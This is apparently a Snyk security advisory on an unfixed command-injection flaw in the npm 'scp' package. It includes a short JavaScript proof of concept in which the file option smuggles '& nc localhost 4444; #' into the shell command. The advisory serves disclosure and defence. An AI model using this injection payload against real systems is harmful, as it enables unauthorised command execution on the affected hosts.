Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Arbitrary Command Injection vulnerabilities in an interactive lesson.
Start learningThere is no fixed version for scp
.
Affected versions of this package are vulnerable to Arbitrary Command Injection. The issue occurs because user input is formatted inside a command
that will be executed without any checks.
var scp = require('scp');
var options = { file: '& nc localhost 4444; #', user: 'username', host: 'myServer', port: '20', path: '~' }
scp.send(options, function (err) { if (err) console.log(err); else console.log('File transferred.'); });